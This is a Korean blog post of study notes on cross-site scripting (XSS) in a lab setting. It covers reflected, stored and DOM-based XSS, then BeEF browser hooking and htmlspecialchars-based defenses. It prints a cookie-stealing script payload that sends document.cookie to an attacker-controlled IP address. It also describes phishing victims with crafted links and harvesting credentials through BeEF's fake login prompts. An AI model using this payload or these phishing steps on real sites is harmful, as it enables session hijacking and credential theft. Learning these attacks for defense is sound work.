크로스 사이트 스크립팅 공격은 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 공격이다.
이 공격은 다른 웹 공격과 달리 서버쪽이 아닌 서버의 취약점을 이용하여 클라이언트를 공격한다.
이 공격은 자바 스크립트를 이용하여 공격을 수행하는 특징 때문에 다양한 형태의 공격을 시도할 수 있다.
리플렉티드 크로스 사이트 스크립팅 공격과 스토어드 크로스 사이트 스크립팅 공격으로 구분한다.
DOM 기반의 XSS공격도 있다.
공격자가 공격 대상으로 삼은 사용자에게 이메일 등을 이용하여 피싱을 하고(이메일, 게시판, sns등) 피싱을 할 때, 세션 쿠키를 탈취하는 스크립트 코드를 삽입한 HTTP 요청 링크를 포함시킨다.
사용자가 이 링크를 클릭하게 되면, 스크립트 코드가 삽입된 요청이 웹 사이트로 전송된다.
이 때 리플렉티드 크로스 사이트 스크립팅 취약점이 있는 웹 사이트는 입력된 스크립트를 반사하여 그대로 웹 페이지에 출력한다.
웹 페이지를 읽는 웹 브라우저는 자동으로 스크립트를 실행하게 되고, 그 결과 세션 쿠키를 공격자에게 전달한다.
공격자가 이 세션 쿠키를 사용하면 그 사용자의 권한으로 접속할 수 있게 된다.
먼저 테스트로 hi를 쳐본다.
그러면 위와 같이 사용자가 입력한 값이 그대로 출력되는데, 이 경우 취약점이 존재할 가능성이 높다.
그렇다면 스크립트 코드를 이용해 다시 테스트해본다
위와 같이 스크립트 코드가 실행될 경우, 취약점이 존재함을 파악할 수 있다.
공격자의 호스트의 웹 서버를 통해 세션쿠키를 전달(스크립트 코드로 전달)받기 위해 웹 서버를 시작한다.
서버를 킨 후 공격자는 웹 서버의 로그를 받기 위해 명령어를 실행한다.
사용자의 세션 쿠키를 알아 내기 위해 밑의 악성 스크립트를 입력한다.
<script>document.location='http://192.168.56.4/cookie?'=document.cooki</script>
이 스크립트는 document.location을 사용하여 지정된 위치로 리다이렉트시키는 스크립트다.
한마디로 말하면, 웹 브라우저가 공격자의 호스트로 접속하는 것이다.
공격이 실행되면, 위와 같이 공격자는 세션 쿠키 정보(인코딩되어 출력)를 흭득하게 되고, 사용자는 공격자가 입력한 URL이 호스트에 존재하지 않기 때문에 에러가 발생한다.(실제 상황에서는 가짜 웹 페이지를 생성할 것이다.)
물론 실제 상황이라면 공격자가 저런 스크립트를 실행할리는 없다. 따라서 실제에서는 이메일, 게시판, SNS, 문자 메시지 등 여러 가지 매체를 이용하여 해당 크로스 사이트 스크립팅 취약점이 있는 URL의 링크를 다른 사용자로 하여금 클릭하도록 한다.
칼리리눅스 메뉴에서 beef xss framework를 실행한다.
실행하게 되면 터미널에서 관리 인터페이스로 접속할 수 있는 URL과 후크 스크립트를 알려주는데, 공격시 이 후크 스크립트를 삽입하면 된다.
관리 인터페이스에 접속한다.
위와 같이 호스트의 각종 정보가 출력된다.
BeEF에서는 커멘드 탭에서 추가로 공격을 수행할 수 있는데, 예를 들어 Pretty Theft라는 기능을 보면 유명 SNS 사이트의 인터페이스를 모방하여, 아이디와 패스워드를 유도한다.
위에서 사용자가 자신의 아이디와 패스워드를 입력하면 그대로 BeEF 관리 인터페이스에서 볼 수 있다.
Reflected XSS와 같이 방명록에 악성 스크립트를 남긴다.
위와 같이 메시지의 글자수가 제한될 수 있는데, 이는 클라이언트측에서 검사하도록 되어 있기 때문에 마우스 우클릭의 Inspect Element나 개발자 도구를 들어가 바꾸어 준다.
다시 스크립트를 입력해준다.
이렇게 되면 공격자의 호스트의 로그에 다시 쿠키 정보가 들어오게 된다.
Stored XSS는 위와 같이 사용자의 세션 정보만 받아오는 것이 끝이 아니라 방명록을 보는 모든 사용자가 공격에 당할 수 있다.
가장 좋은 방법은 스크립트가 입력되어 실행되지 않도록 하고 단순히 문자열로 표시하도록 만드는 것이 가장 좋다.
위의 코드를 보면 htmlspecialchars() 함수가 보이는 데, 이 함수는 &, ", ', <, >와 같은 특수문자들을 HTML 엔티티로 변환해주는 함수이다.
이렇게 변환된 문자열은 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않게 된다.
그러나 화면에 표시할 때는 원래의 특수문자로 보여주기 때문에 원래값이 출력된다.
대부분의 웹 프로그래밍 언어가 이름은 다르지만 htmlspecialchars() 함수와 동일한 역할을 하는 빌트인 라이브러리나 함수를 제공한다.
입력값 검증을 통해 파라미터의 입력값에 불필요한 문자열이 포함되지 않도록 하는 것 역시 공격을 차단할 수 있으므로 권장된다.
위 글은 '화이트 해커를 위한 웹 해킹의 기술 최봉환 저'를 공부하며 쓴 글 입니다.
Step7. 파일 인클루전 공격 (0) | 2021.02.27 |
---|---|
Step6. 크로스 사이트 요청 변조(CSRF) 공격 (0) | 2021.02.26 |
Step4. 커멘드 인젝션 공격 (0) | 2021.02.24 |
Step3. SQL인젝션 공격 (0) | 2021.02.23 |
Step2. 취약한 인증 공격 (0) | 2021.02.21 |
댓글 영역